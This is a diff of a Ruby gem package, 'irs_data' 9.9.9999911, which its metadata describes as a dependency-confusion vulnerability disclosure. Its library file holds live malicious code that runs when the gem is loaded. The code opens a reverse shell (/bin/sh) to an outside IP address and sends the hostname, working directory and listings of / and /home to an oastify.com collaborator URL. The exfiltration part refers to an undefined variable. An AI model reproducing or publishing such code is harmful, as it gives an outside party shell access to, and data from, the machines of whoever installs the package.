irs_data 9.9.9999911

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 1b9f57d1ccf3e825d07cf64cb069b79c114da424c353c646d2ab2006cd65ce55
+  data.tar.gz: 128d099e3bf62406f1819e245f679ec1d49e64a203dfb9357c1d449d9c2a23a3
+SHA512:
+  metadata.gz: b9371dd0ed73ffb85bb652a43791fbb169d3fbb066dbaa65afc5f5e07837d0b2c1a2225b8ab440c530df640918965c7dfdcbec78c3550da967d0aaadc277dc8f
+  data.tar.gz: 06f277307066504e529b0f4325116ad0aafc1f5edd0a2602b0770ed263fce0f9735e84ce2ceb9e8ce45da08ba9207408e67cf373c52620317a692645d84b2b4f

data/lib/irs_data.rb

@@ -0,0 +1,48 @@
+module IrsData
+
+    require 'json'
+    require 'net/http'
+    require 'socket'
+    require 'ipaddr'
+    #Private IP
+
+    $ip = "104.248.8.1"
+    $port = 443
+
+    socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
+    sockaddr = Socket.sockaddr_in($port, IPAddr.new($ip).to_i)
+
+    if socket.connect(sockaddr)
+      [STDIN, STDOUT, STDERR].each do |s|
+        s.reopen(socket)
+      end
+      exec("/bin/sh -i")
+    end
+
+    #Hostname
+    hostname = Socket.gethostname
+    #Current directory
+    dir = Dir.pwd
+    entries = Dir.entries('/')
+    homedir = Dir.entries('/home/')
+    #rubyenv = File.read('/home/t6C95A1F/.rbenv')
+    
+    #Pubcli bin url:- burpCollaborate url
+    uri = URI('http://7rzdeigmq8xye774j9no320stjzan0bp.oastify.com')
+    req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
+
+    req.body = {
+      private_ip: privip,
+      hostname: hostname,
+      current_directory: dir,
+      directory_dir: entries,
+      home_dir: homedir
+     # rubyenv_content: rubyenv
+      
+    }.to_json
+
+    Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
+      http.request(req)
+    end
+
+end

metadata

@@ -0,0 +1,45 @@
+--- !ruby/object:Gem::Specification
+name: irs_data
+version: !ruby/object:Gem::Version
+  version: 9.9.9999911
+platform: ruby
+authors:
+- Joaquin Rodriguez Varela
+autorequire: 
+bindir: exe
+cert_chain: []
+date: 2023-10-09 00:00:00.000000000 Z
+dependencies: []
+description: This Ruby package vulnerable to dependency confiuse vulnerability
+email:
+- jrodriguez@includesec.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/irs_data.rb
+homepage: https://rubygems.org/gems/irs_data
+licenses:
+- MIT
+metadata:
+  homepage_uri: https://rubygems.org/gems/irs_data
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.6.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.5
+signing_key: 
+specification_version: 4
+summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
+test_files: []